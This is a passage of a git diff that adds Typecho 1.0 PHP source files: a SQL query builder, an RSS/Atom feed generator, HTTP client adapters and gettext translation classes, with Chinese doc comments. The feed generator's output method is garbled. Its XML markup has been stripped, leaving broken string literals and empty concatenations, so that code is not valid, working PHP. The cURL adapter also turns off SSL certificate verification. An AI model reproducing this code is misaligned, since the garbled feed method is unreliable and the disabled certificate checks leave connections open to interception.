} + + return $values; + } + + /** + * set default params + * + * @param array $default + */ + public static function setDefault(array $default) + { + self::$_default = array_merge(self::$_default, $default); + } + + /** + * 获取查询字串属性值 + * + * @access public + * @param string $attributeName 属性名称 + * @return string + */ + public function getAttribute($attributeName) + { + return isset($this->_sqlPreBuild[$attributeName]) ? $this->_sqlPreBuild[$attributeName] : NULL; + } + + /** + * 清除查询字串属性值 + * + * @access public + * @param string $attributeName 属性名称 + * @return Typecho_Db_Query + */ + public function cleanAttribute($attributeName) + { + if (isset($this->_sqlPreBuild[$attributeName])) { + $this->_sqlPreBuild[$attributeName] = self::$_default[$attributeName]; + } + return $this; + } + + /** + * 连接表 + * + * @param string $table 需要连接的表 + * @param string $condition 连接条件 + * @param string $op 连接方法(LEFT, RIGHT, INNER) + * @return Typecho_Db_Query + */ + public function join($table, $condition, $op = Typecho_Db::INNER_JOIN) + { + $this->_sqlPreBuild['join'][] = array($this->filterPrefix($table), $this->filterColumn($condition), $op); + return $this; + } + + /** + * AND条件查询语句 + * + * @param string $condition 查询条件 + * @param mixed $param 条件值 + * @return Typecho_Db_Query + */ + public function where() + { + $condition = func_get_arg(0); + $condition = str_replace('?', "%s", $this->filterColumn($condition)); + $operator = empty($this->_sqlPreBuild['where']) ? ' WHERE ' : ' AND'; + + if (func_num_args() <= 1) { + $this->_sqlPreBuild['where'] .= $operator . ' (' . $condition . ')'; + } else { + $args = func_get_args(); + array_shift($args); + $this->_sqlPreBuild['where'] .= $operator . ' (' . vsprintf($condition, $this->quoteValues($args)) . ')'; + } + + return $this; + } + + /** + * OR条件查询语句 + * + * @param string $condition 查询条件 + * @param mixed $param 条件值 + * @return Typecho_Db_Query + */ + public function orWhere() + { + $condition = func_get_arg(0); + $condition = str_replace('?', "%s", $this->filterColumn($condition)); + $operator = empty($this->_sqlPreBuild['where']) ? ' WHERE ' : ' OR'; + + if (func_num_args() <= 1) { + $this->_sqlPreBuild['where'] .= $operator . ' (' . $condition . ')'; + } else { + $args = func_get_args(); + array_shift($args); + $this->_sqlPreBuild['where'] .= $operator . ' (' . vsprintf($condition, $this->quoteValues($args)) . ')'; + } + + return $this; + } + + /** + * 查询行数限制 + * + * @param integer $limit 需要查询的行数 + * @return Typecho_Db_Query + */ + public function limit($limit) + { + $this->_sqlPreBuild['limit'] = intval($limit); + return $this; + } + + /** + * 查询行数偏移量 + * + * @param integer $offset 需要偏移的行数 + * @return Typecho_Db_Query + */ + public function offset($offset) + { + $this->_sqlPreBuild['offset'] = intval($offset); + return $this; + } + + /** + * 分页查询 + * + * @param integer $page 页数 + * @param integer $pageSize 每页行数 + * @return Typecho_Db_Query + */ + public function page($page, $pageSize) + { + $pageSize = intval($pageSize); + $this->_sqlPreBuild['limit'] = $pageSize; + $this->_sqlPreBuild['offset'] = (max(intval($page), 1) - 1) * $pageSize; + return $this; + } + + /** + * 指定需要写入的栏目及其值 + * + * @param array $rows + * @return Typecho_Db_Query + */ + public function rows(array $rows) + { + foreach ($rows as $key => $row) { + $this->_sqlPreBuild['rows'][$this->filterColumn($key)] = is_null($row) ? 'NULL' : $this->_adapter->quoteValue($row); + } + return $this; + } + + /** + * 指定需要写入栏目及其值 + * 单行且不会转义引号 + * + * @param string $key 栏目名称 + * @param mixed $value 指定的值 + * @param bool $escape 是否转义 + * @return Typecho_Db_Query + */ + public function expression($key, $value, $escape = true) + { + $this->_sqlPreBuild['rows'][$this->filterColumn($key)] = $escape ? $this->filterColumn($value) : $value; + return $this; + } + + /** + * 排序顺序(ORDER BY) + * + * @param string $orderby 排序的索引 + * @param string $sort 排序的方式(ASC, DESC) + * @return Typecho_Db_Query + */ + public function order($orderby, $sort = Typecho_Db::SORT_ASC) + { + $this->_sqlPreBuild['order'] = ' ORDER BY ' . $this->filterColumn($orderby) . (empty($sort) ? NULL : ' ' . $sort); + return $this; + } + + /** + * 集合聚集(GROUP BY) + * + * @param string $key 聚集的键值 + * @return Typecho_Db_Query + */ + public function group($key) + { + $this->_sqlPreBuild['group'] = ' GROUP BY ' . $this->filterColumn($key); + return $this; + } + + /** + * HAVING (HAVING) + * + * @return Typecho_Db_Query + */ + public function having() + { + $condition = func_get_arg(0); + $condition = str_replace('?', "%s", $this->filterColumn($condition)); + $operator = empty($this->_sqlPreBuild['having']) ? ' HAVING ' : ' AND'; + + if (func_num_args() <= 1) { + $this->_sqlPreBuild['having'] .= $operator . ' (' . $condition . ')'; + } else { + $args = func_get_args(); + array_shift($args); + $this->_sqlPreBuild['having'] .= $operator . ' (' . vsprintf($condition, $this->quoteValues($args)) . ')'; + } + + return $this; + } + + /** + * 选择查询字段 + * + * @access public + * @param mixed $field 查询字段 + * @return Typecho_Db_Query + */ + public function select($field = '*') + { + $this->_sqlPreBuild['action'] = Typecho_Db::SELECT; + $args = func_get_args(); + + $this->_sqlPreBuild['fields'] = $this->getColumnFromParameters($args); + return $this; + } + + /** + * 查询记录操作(SELECT) + * + * @param string $table 查询的表 + * @return Typecho_Db_Query + */ + public function from($table) + { + $this->_sqlPreBuild['table'] = $this->filterPrefix($table); + return $this; + } + + /** + * 更新记录操作(UPDATE) + * + * @param string $table 需要更新记录的表 + * @return Typecho_Db_Query + */ + public function update($table) + { + $this->_sqlPreBuild['action'] = Typecho_Db::UPDATE; + $this->_sqlPreBuild['table'] = $this->filterPrefix($table); + return $this; + } + + /** + * 删除记录操作(DELETE) + * + * @param string $table 需要删除记录的表 + * @return Typecho_Db_Query + */ + public function delete($table) + { + $this->_sqlPreBuild['action'] = Typecho_Db::DELETE; + $this->_sqlPreBuild['table'] = $this->filterPrefix($table); + return $this; + } + + /** + * 插入记录操作(INSERT) + * + * @param string $table 需要插入记录的表 + * @return Typecho_Db_Query + */ + public function insert($table) + { + $this->_sqlPreBuild['action'] = Typecho_Db::INSERT; + $this->_sqlPreBuild['table'] = $this->filterPrefix($table); + return $this; + } + + /** + * 构造最终查询语句 + * + * @return string + */ + public function __toString() + { + switch ($this->_sqlPreBuild['action']) { + case Typecho_Db::SELECT: + return $this->_adapter->parseSelect($this->_sqlPreBuild); + case Typecho_Db::INSERT: + return 'INSERT INTO ' + . $this->_sqlPreBuild['table'] + . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')' + . ' VALUES ' + . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')' + . $this->_sqlPreBuild['limit']; + case Typecho_Db::DELETE: + return 'DELETE FROM ' + . $this->_sqlPreBuild['table'] + . $this->_sqlPreBuild['where']; + case Typecho_Db::UPDATE: + $columns = array(); + if (isset($this->_sqlPreBuild['rows'])) { + foreach ($this->_sqlPreBuild['rows'] as $key => $val) { + $columns[] = "$key = $val"; + } + } + + return 'UPDATE ' + . $this->_sqlPreBuild['table'] + . ' SET ' . implode(' , ', $columns) + . $this->_sqlPreBuild['where']; + default: + return NULL; + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Db/Query/Exception.php b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Query/Exception.php new file mode 100755 index 000000000..454602133 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Db/Query/Exception.php @@ -0,0 +1,17 @@ +message = $message; + $this->code = $code; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Feed.php b/Typecho/1.0/php-fpm/src/var/Typecho/Feed.php new file mode 100755 index 000000000..42d0701c5 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Feed.php @@ -0,0 +1,411 @@ + + * @category typecho + * @package Feed + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id: Feed.php 219 2008-05-27 09:06:15Z magike.net $ + */ + +/** + * Typecho_Feed + * + * @author qining + * @category typecho + * @package Feed + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Typecho_Feed +{ + /** 定义RSS 1.0类型 */ + const RSS1 = 'RSS 1.0'; + + /** 定义RSS 2.0类型 */ + const RSS2 = 'RSS 2.0'; + + /** 定义ATOM 1.0类型 */ + const ATOM1 = 'ATOM 1.0'; + + /** 定义RSS时间格式 */ + const DATE_RFC822 = 'r'; + + /** 定义ATOM时间格式 */ + const DATE_W3CDTF = 'c'; + + /** 定义行结束符 */ + const EOL = "\n"; + + /** + * feed状态 + * + * @access private + * @var string + */ + private $_type; + + /** + * 字符集编码 + * + * @access private + * @var string + */ + private $_charset; + + /** + * 语言状态 + * + * @access private + * @var string + */ + private $_lang; + + /** + * 聚合地址 + * + * @access private + * @var string + */ + private $_feedUrl; + + /** + * 基本地址 + * + * @access private + * @var unknown + */ + private $_baseUrl; + + /** + * 聚合标题 + * + * @access private + * @var string + */ + private $_title; + + /** + * 聚合副标题 + * + * @access private + * @var string + */ + private $_subTitle; + + /** + * 版本信息 + * + * @access private + * @var string + */ + private $_version; + + /** + * 所有的items + * + * @access private + * @var array + */ + private $_items = array(); + + /** + * 创建Feed对象 + * + * @access public + * @return void + */ + public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en') + { + $this->_version = $version; + $this->_type = $type; + $this->_charset = $charset; + $this->_lang = $lang; + } + + /** + * 设置标题 + * + * @access public + * @param string $title 标题 + * @return void + */ + public function setTitle($title) + { + $this->_title = $title; + } + + /** + * 设置副标题 + * + * @access public + * @param string $subTitle 副标题 + * @return void + */ + public function setSubTitle($subTitle) + { + $this->_subTitle = $subTitle; + } + + /** + * 设置聚合地址 + * + * @access public + * @param string $feedUrl 聚合地址 + * @return void + */ + public function setFeedUrl($feedUrl) + { + $this->_feedUrl = $feedUrl; + } + + /** + * 设置主页 + * + * @access public + * @param string $baseUrl 主页地址 + * @return void + */ + public function setBaseUrl($baseUrl) + { + $this->_baseUrl = $baseUrl; + } + + /** + * 获取Feed时间格式 + * + * @access public + * @param integer $stamp 时间戳 + * @return string + */ + public function dateFormat($stamp) + { + if (self::RSS2 == $this->_type) { + return date(self::DATE_RFC822, $stamp); + } else if (self::RSS1 == $this->_type || self::ATOM1 == $this->_type) { + return date(self::DATE_W3CDTF, $stamp); + } + } + + /** + * $item的格式为 + * + * array ( + * 'title' => 'xxx', + * 'content' => 'xxx', + * 'excerpt' => 'xxx', + * 'date' => 'xxx', + * 'link' => 'xxx', + * 'author' => 'xxx', + * 'comments' => 'xxx', + * 'commentsUrl'=> 'xxx', + * 'commentsFeedUrl' => 'xxx', + * ) + * + * + * @access public + * @param array $item + * @return unknown + */ + public function addItem(array $item) + { + $this->_items[] = $item; + } + + /** + * 输出字符串 + * + * @access public + * @return string + */ + public function __toString() + { + $result = '_charset . '"?>' . self::EOL; + + if (self::RSS1 == $this->_type) { + $result .= '' . self::EOL; + + $content = ''; + $links = array(); + $lastUpdate = 0; + + foreach ($this->_items as $item) { + $content .= '' . self::EOL; + $content .= '' . htmlspecialchars($item['title']) . '' . self::EOL; + $content .= '' . $item['link'] . '' . self::EOL; + $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL; + $content .= '' . strip_tags($item['content']) . '' . self::EOL; + if (!empty($item['suffix'])) { + $content .= $item['suffix']; + } + $content .= '' . self::EOL; + + $links[] = $item['link']; + + if ($item['date'] > $lastUpdate) { + $lastUpdate = $item['date']; + } + } + + $result .= ' +' . htmlspecialchars($this->_title) . ' +' . $this->_baseUrl . ' +' . htmlspecialchars($this->_subTitle) . ' + +' . self::EOL; + + foreach ($links as $link) { + $result .= '' . self::EOL; + } + + $result .= ' + +' . self::EOL; + + $result .= $content . ''; + + } else if (self::RSS2 == $this->_type) { + $result .= ' +' . self::EOL; + + $content = ''; + $lastUpdate = 0; + + foreach ($this->_items as $item) { + $content .= '' . self::EOL; + $content .= '' . htmlspecialchars($item['title']) . '' . self::EOL; + $content .= '' . $item['link'] . '' . self::EOL; + $content .= '' . $item['link'] . '' . self::EOL; + $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL; + $content .= '' . htmlspecialchars($item['author']->screenName) . '' . self::EOL; + + if (!empty($item['category']) && is_array($item['category'])) { + foreach ($item['category'] as $category) { + $content .= '' . self::EOL; + } + } + + if (!empty($item['excerpt'])) { + $content .= '' . self::EOL; + } + + if (!empty($item['content'])) { + $content .= '' . self::EOL; + } + + if (isset($item['comments']) && strlen($item['comments']) > 0) { + $content .= '' . $item['comments'] . '' . self::EOL; + } + + $content .= '' . $item['link'] . '#comments' . self::EOL; + if (!empty($item['commentsFeedUrl'])) { + $content .= '' . $item['commentsFeedUrl'] . '' . self::EOL; + } + + if (!empty($item['suffix'])) { + $content .= $item['suffix']; + } + + $content .= '' . self::EOL; + + if ($item['date'] > $lastUpdate) { + $lastUpdate = $item['date']; + } + } + + $result .= '' . htmlspecialchars($this->_title) . ' +' . $this->_baseUrl . ' + +' . $this->_lang . ' +' . htmlspecialchars($this->_subTitle) . ' +' . $this->dateFormat($lastUpdate) . ' +' . $this->dateFormat($lastUpdate) . '' . self::EOL; + + $result .= $content . ' +'; + + } else if (self::ATOM1 == $this->_type) { + $result .= '' . self::EOL; + + $content = ''; + $lastUpdate = 0; + + foreach ($this->_items as $item) { + $content .= '' . self::EOL; + $content .= '<![CDATA[' . $item['title'] . ']]>' . self::EOL; + $content .= '' . self::EOL; + $content .= '' . $item['link'] . '' . self::EOL; + $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL; + $content .= '' . $this->dateFormat($item['date']) . '' . self::EOL; + $content .= ' + ' . $item['author']->screenName . ' + ' . $item['author']->url . ' +' . self::EOL; + + if (!empty($item['category']) && is_array($item['category'])) { + foreach ($item['category'] as $category) { + $content .= '' . self::EOL; + } + } + + if (!empty($item['excerpt'])) { + $content .= '' . self::EOL; + } + + if (!empty($item['content'])) { + $content .= '' . self::EOL; + } + + if (isset($item['comments']) && strlen($item['comments']) > 0) { + $content .= '' . self::EOL; + + if (!empty($item['commentsFeedUrl'])) { + $content .= '' . self::EOL; + } + } + + if (!empty($item['suffix'])) { + $content .= $item['suffix']; + } + + $content .= '' . self::EOL; + + if ($item['date'] > $lastUpdate) { + $lastUpdate = $item['date']; + } + } + + $result .= '' . htmlspecialchars($this->_title) . ' +' . htmlspecialchars($this->_subTitle) . ' +' . $this->dateFormat($lastUpdate) . ' +Typecho + +' . $this->_feedUrl . ' + +'; + $result .= $content . ''; + } + + return $result; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Http/Client.php b/Typecho/1.0/php-fpm/src/var/Typecho/Http/Client.php new file mode 100755 index 000000000..4d4a7cf96 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Http/Client.php @@ -0,0 +1,58 @@ +method = $method; + return $this; + } + + /** + * 设置指定的COOKIE值 + * + * @access public + * @param string $key 指定的参数 + * @param mixed $value 设置的值 + * @return Typecho_Http_Client_Adapter + */ + public function setCookie($key, $value) + { + $this->cookies[$key] = $value; + return $this; + } + + /** + * 设置传递参数 + * + * @access public + * @param mixed $query 传递参数 + * @return Typecho_Http_Client_Adapter + */ + public function setQuery($query) + { + $query = is_array($query) ? http_build_query($query) : $query; + $this->query = empty($this->query) ? $query : $this->query . '&' . $query; + return $this; + } + + /** + * 设置需要POST的数据 + * + * @access public + * @param array $data 需要POST的数据 + * @return Typecho_Http_Client_Adapter + */ + public function setData($data) + { + $this->data = $data; + $this->setMethod(Typecho_Http_Client::METHOD_POST); + return $this; + } + + /** + * 设置需要POST的文件 + * + * @access public + * @param array $files 需要POST的文件 + * @return Typecho_Http_Client_Adapter + */ + public function setFiles(array $files) + { + $this->files = empty($this->files) ? $files : array_merge($this->files, $files); + $this->setMethod(Typecho_Http_Client::METHOD_POST); + return $this; + } + + /** + * 设置超时时间 + * + * @access public + * @param integer $timeout 超时时间 + * @return Typecho_Http_Client_Adapter + */ + public function setTimeout($timeout) + { + $this->timeout = $timeout; + return $this; + } + + /** + * 设置http协议 + * + * @access public + * @param string $rfc http协议 + * @return Typecho_Http_Client_Adapter + */ + public function setRfc($rfc) + { + $this->rfc = $rfc; + return $this; + } + + /** + * 设置ip地址 + * + * @access public + * @param string $ip ip地址 + * @return Typecho_Http_Client_Adapter + */ + public function setIp($ip) + { + $this->ip = $ip; + return $this; + } + + /** + * 设置头信息参数 + * + * @access public + * @param string $key 参数名称 + * @param string $value 参数值 + * @return Typecho_Http_Client_Adapter + */ + public function setHeader($key, $value) + { + $key = str_replace(' ', '-', ucwords(str_replace('-', ' ', $key))); + $this->headers[$key] = $value; + return $this; + } + + /** + * 发送请求 + * + * @access public + * @param string $url 请求地址 + * @param string $rfc 请求协议 + * @return string + */ + public function send($url) + { + $params = parse_url($url); + + if (!empty($params['host'])) { + $this->host = $params['host']; + } else { + throw new Typecho_Http_Client_Exception('Unknown Host', 500); + } + + if (!empty($params['path'])) { + $this->path = $params['path']; + } + + $query = empty($params['query']) ? '' : $params['query']; + + if (!empty($this->query)) { + $query = empty($query) ? $this->query : '&' . $this->query; + } + + if (!empty($query)) { + $this->path .= '?' . $query; + $params['query'] = $query; + } + + $this->scheme = $params['scheme']; + $this->port = ('https' == $params['scheme']) ? 443 : 80; + $url = Typecho_Common::buildUrl($params); + + if (!empty($params['port'])) { + $this->port = $params['port']; + } + + /** 整理cookie */ + if (!empty($this->cookies)) { + $this->setHeader('Cookie', str_replace('&', '; ', http_build_query($this->cookies))); + } + + $response = $this->httpSend($url); + + if (!$response) { + return; + } + + str_replace("\r", '', $response); + $rows = explode("\n", $response); + + $foundStatus = false; + $foundInfo = false; + $lines = array(); + + foreach ($rows as $key => $line) { + if (!$foundStatus) { + if (0 === strpos($line, "HTTP/")) { + if ('' == trim($rows[$key + 1])) { + continue; + } else { + $status = explode(' ', str_replace(' ', ' ', $line)); + $this->responseStatus = intval($status[1]); + $foundStatus = true; + } + } + } else { + if (!$foundInfo) { + if ('' != trim($line)) { + $status = explode(':', $line); + $name = strtolower(array_shift($status)); + $data = implode(':', $status); + $this->responseHeader[trim($name)] = trim($data); + } else { + $foundInfo = true; + } + } else { + $lines[] = $line; + } + } + } + + $this->responseBody = implode("\n", $lines); + return $this->responseBody; + } + + /** + * 获取回执的头部信息 + * + * @access public + * @param string $key 头信息名称 + * @return string + */ + public function getResponseHeader($key) + { + $key = strtolower($key); + return isset($this->responseHeader[$key]) ? $this->responseHeader[$key] : NULL; + } + + /** + * 获取回执代码 + * + * @access public + * @return integer + */ + public function getResponseStatus() + { + return $this->responseStatus; + } + + /** + * 获取回执身体 + * + * @access public + * @return string + */ + public function getResponseBody() + { + return $this->responseBody; + } + + /** + * 需要实现的请求方法 + * + * @access public + * @param string $url 请求地址 + * @return string + */ + abstract public function httpSend($url); +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Http/Client/Adapter/Curl.php b/Typecho/1.0/php-fpm/src/var/Typecho/Http/Client/Adapter/Curl.php new file mode 100755 index 000000000..a7009155e --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Http/Client/Adapter/Curl.php @@ -0,0 +1,121 @@ +ip) { + $url = $this->scheme . '://' . $this->ip . $this->path; + $this->headers['Rfc'] = $this->method . ' ' . $this->path . ' ' . $this->rfc; + $this->headers['Host'] = $this->host; + } + + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_PORT, $this->port); + curl_setopt($ch, CURLOPT_HEADER, true); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_FRESH_CONNECT, true); + curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout); + + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + + /** 设置HTTP版本 */ + switch ($this->rfc) { + case 'HTTP/1.0': + curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0); + break; + case 'HTTP/1.1': + curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); + break; + default: + curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_NONE); + break; + } + + /** 设置header信息 */ + if (!empty($this->headers)) { + if (isset($this->headers['User-Agent'])) { + curl_setopt($ch, CURLOPT_USERAGENT, $this->headers['User-Agent']); + unset($this->headers['User-Agent']); + } + + $headers = array(); + + if (isset($this->headers['Rfc'])) { + $headers[] = $this->headers['Rfc']; + unset($this->headers['Rfc']); + } + + foreach ($this->headers as $key => $val) { + $headers[] = $key . ': ' . $val; + } + + curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); + } + + /** POST模式 */ + if (Typecho_Http_Client::METHOD_POST == $this->method) { + if (!isset($this->headers['content-type'])) { + curl_setopt($ch, CURLOPT_POST, true); + } + + if (!empty($this->data)) { + curl_setopt($ch, CURLOPT_POSTFIELDS, is_array($this->data) ? http_build_query($this->data) : $this->data); + } + + if (!empty($this->files)) { + foreach ($this->files as $key => &$file) { + $file = '@' . $file; + } + curl_setopt($ch, CURLOPT_POSTFIELDS, $this->files); + } + } + + $response = curl_exec($ch); + if (false === $response) { + throw new Typecho_Http_Client_Exception(curl_error($ch), 500); + } + + curl_close($ch); + return $response; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Http/Client/Adapter/Socket.php b/Typecho/1.0/php-fpm/src/var/Typecho/Http/Client/Adapter/Socket.php new file mode 100755 index 000000000..267c220f4 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Http/Client/Adapter/Socket.php @@ -0,0 +1,154 @@ +method . ' ' . $this->path . ' ' . $this->rfc . $eol; + $request .= 'Host: ' . $this->host . $eol; + $request .= 'Accept: */*' . $eol; + $request .= 'Cache-Control: no-cache' . $eol; + $request .= 'Connection: Close' . $eol; + + /** 设置header信息 */ + if (!empty($this->headers)) { + foreach ($this->headers as $key => $val) { + $request .= $key . ': ' . $val . $eol; + } + } + + /** 发送POST信息 */ + if (Typecho_Http_Client::METHOD_POST == $this->method) { + if (empty($this->files)) { + $content = is_array($this->data) ? http_build_query($this->data) : $this->data; + $request .= 'Content-Length: ' . strlen($content) . $eol; + + if (!isset($this->headers['content-type'])) { + $request .= 'Content-Type: application/x-www-form-urlencoded' . $eol; + } + + $request .= $eol; + $request .= $content; + } else { + $boundary = '---------------------------' . substr(md5(uniqid()), 0, 16); + $content = $eol . $boundary; + + if (!empty($this->data)) { + foreach ($this->data as $key => $val) { + $content .= $eol . 'Content-Disposition: form-data; name="' . $key . '"' . $eol . $eol; + $content .= $val . $eol; + $content .= $boundary; + } + } + + foreach ($this->files as $key => $file) { + $content .= $eol . 'Content-Disposition: form-data; name="' . $key . '"; filename="' . $file . '"' . $eol; + $content .= 'Content-Type: ' . mime_content_type($file) . $eol . $eol; + $content .= file_get_contents($file) . $eol; + $content .= $boundary; + } + + $content .= '--' . $eol; + $request .= 'Content-Length: ' . strlen($content) . $eol; + $request .= 'Content-Type: multipart/form-data; boundary=' . $boundary; + $request .= $eol; + $request .= $content; + } + } else { + $request .= $eol; + } + + /** 打开连接 */ + $socket = @fsockopen($this->ip ? $this->ip : $this->host, $this->port, $errno, $errstr, $this->timeout); + if (false === $socket) { + throw new Typecho_Http_Client_Exception($errno . ':' . $errstr, 500); + } + + /** 发送数据 */ + fwrite($socket, $request); + stream_set_timeout($socket, $this->timeout); + $response = ''; + + //facebook code + while (!feof($socket)) { + $buf = fgets($socket, 4096); + + if (false === $buf || '' === $buf) { + $info = stream_get_meta_data($socket); + + //超时判断 + if ($info['timed_out']) { + throw new Typecho_Http_Client_Exception(__CLASS__ . ': timeout reading from ' . $this->host . ':' . $this->port, 500); + } else { + throw new Typecho_Http_Client_Exception(__CLASS__ . ': could not read from ' . $this->host . ':' . $this->port, 500); + } + } else if (strlen($buf) < 4096) { + $info = stream_get_meta_data($socket); + + if ($info['timed_out']) { + throw new Typecho_Http_Client_Exception(__CLASS__ . ': timeout reading from ' . $this->host . ':' . $this->port, 500); + } + } + + $response .= $buf; + } + + fclose($socket); + return $response; + } + + /** + * 获取回执身体 + * + * @access public + * @return string + */ + public function getResponseBody() + { + /** 支持chunked编码 */ + if ('chunked' == $this->getResponseHeader('Transfer-Encoding')) { + $parts = explode("\r\n", $this->reponseBody, 2); + $counter = hexdec($parts[0]); + $this->reponseBody = substr($parts[1], 0, $counter); + } + + return $this->reponseBody; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Http/Client/Exception.php b/Typecho/1.0/php-fpm/src/var/Typecho/Http/Client/Exception.php new file mode 100755 index 000000000..f79b63af4 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Http/Client/Exception.php @@ -0,0 +1,17 @@ +translate($string) : $string; + } + + /** + * 针对复数形式的翻译函数 + * + * @param string $single 单数形式的翻译 + * @param string $plural 复数形式的翻译 + * @param integer $number 数字 + * @return string + */ + public static function ngettext($single, $plural, $number) + { + self::init(); + return self::$_lang ? self::$_loaded->ngettext($single, $plural, $number) : ($number > 1 ? $plural : $single); + } + + /** + * 词义化时间 + * + * @access public + * @param string $from 起始时间 + * @param string $now 终止时间 + * @return string + */ + public static function dateWord($from, $now) + { + $between = $now - $from; + + /** 如果是一天 */ + if ($between >= 0 && $between < 86400 && date('d', $from) == date('d', $now)) { + /** 如果是一小时 */ + if ($between < 3600) { + /** 如果是一分钟 */ + if ($between < 60) { + if (0 == $between) { + return _t('刚刚'); + } else { + return str_replace('%d', $between, _n('一秒前', '%d秒前', $between)); + } + } + + $min = floor($between / 60); + return str_replace('%d', $min, _n('一分钟前', '%d分钟前', $min)); + } + + $hour = floor($between / 3600); + return str_replace('%d', $hour, _n('一小时前', '%d小时前', $hour)); + } + + /** 如果是昨天 */ + if ($between > 0 && $between < 172800 + && (date('z', $from) + 1 == date('z', $now) // 在同一年的情况 + || date('z', $from) + 1 == date('L') + 365 + date('z', $now))) { // 跨年的情况 + return _t('昨天 %s', date('H:i', $from)); + } + + /** 如果是一个星期 */ + if ($between > 0 && $between < 604800) { + $day = floor($between / 86400); + return str_replace('%d', $day, _n('一天前', '%d天前', $day)); + } + + /** 如果是 */ + if (date('Y', $from) == date('Y', $now)) { + return date(_t('n月j日'), $from); + } + + return date(_t('Y年m月d日'), $from); + } + + /** + * 设置语言项 + * + * @access public + * @param string $lang 配置信息 + * @return void + */ + public static function setLang($lang) + { + self::$_lang = $lang; + } + + /** + * 增加语言项 + * + * @access public + * @param string $lang 语言名称 + * @return void + */ + public static function addLang($lang) + { + self::$_loaded->addFile($lang); + } + + /** + * 获取语言项 + * + * @access public + * @return void + */ + public static function getLang() + { + return self::$_lang; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/I18n/GetText.php b/Typecho/1.0/php-fpm/src/var/Typecho/I18n/GetText.php new file mode 100755 index 000000000..2b45503aa --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/I18n/GetText.php @@ -0,0 +1,393 @@ +. + Copyright (c) 2005 Nico Kaiser + + This file is part of PHP-gettext. + + PHP-gettext is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + PHP-gettext is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with PHP-gettext; if not, write to the Free Software + Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + + */ + +/** + * Provides a simple gettext replacement that works independently from + * the system's gettext abilities. + * It can read MO files and use them for translating strings. + * The files are passed to gettext_reader as a Stream (see streams.php) + * + * This version has the ability to cache all strings and translations to + * speed up the string lookup. + * While the cache is enabled by default, it can be switched off with the + * second parameter in the constructor (e.g. whenusing very large MO files + * that you don't want to keep in memory) + */ + +//reload by 70 (typecho group) +/** + * This file is part of PHP-gettext + * + * @author Danilo Segan , Nico Kaiser + * @category typecho + * @package I18n + */ +class Typecho_I18n_GetText +{ + //public: + public $error = 0; // public variable that holds error code (0 if no error) + + //private: + private $BYTEORDER = 0; // 0: low endian, 1: big endian + private $STREAM = NULL; + private $short_circuit = false; + private $enable_cache = false; + private $originals = NULL; // offset of original table + private $translations = NULL; // offset of translation table + private $pluralheader = NULL; // cache header field for plural forms + private $total = 0; // total string count + private $table_originals = NULL; // table for original strings (offsets) + private $table_translations = NULL; // table for translated strings (offsets) + private $cache_translations = NULL; // original -> translation mapping + + + /* Methods */ + /** + * Constructor + * + * @param string $file file name + * @param boolean enable_cache Enable or disable caching of strings (default on) + */ + public function __construct($file, $enable_cache = true) + { + // If there isn't a StreamReader, turn on short circuit mode. + if (!file_exists($file)) { + $this->short_circuit = true; + return; + } + + // Caching can be turned off + $this->enable_cache = $enable_cache; + $this->STREAM = @fopen($file, 'rb'); + + $unpacked = unpack('c', $this->read(4)); + $magic = array_shift($unpacked); + + if (-34 == $magic) { + $this->BYTEORDER = 0; + } elseif (-107 == $magic) { + $this->BYTEORDER = 1; + } else { + $this->error = 1; // not MO file + return false; + } + + // FIXME: Do we care about revision? We should. + $revision = $this->readint(); + + $this->total = $this->readint(); + $this->originals = $this->readint(); + $this->translations = $this->readint(); + } + + /** + * read + * + * @param mixed $count + * @access private + * @return void + */ + private function read($count) + { + $count = abs($count); + + if ($count > 0) { + return fread($this->STREAM, $count); + } + + return NULL; + } + + /** + * Reads a 32bit Integer from the Stream + * + * @access private + * @return Integer from the Stream + */ + private function readint() + { + $end = unpack($this->BYTEORDER == 0 ? 'V' : 'N', $this->read(4)); + return array_shift($end); + } + + /** + * Reads an array of Integers from the Stream + * + * @param int count How many elements should be read + * @return Array of Integers + */ + private function readintarray($count) + { + return unpack(($this->BYTEORDER == 0 ? 'V' : 'N') . $count, $this->read(4 * $count)); 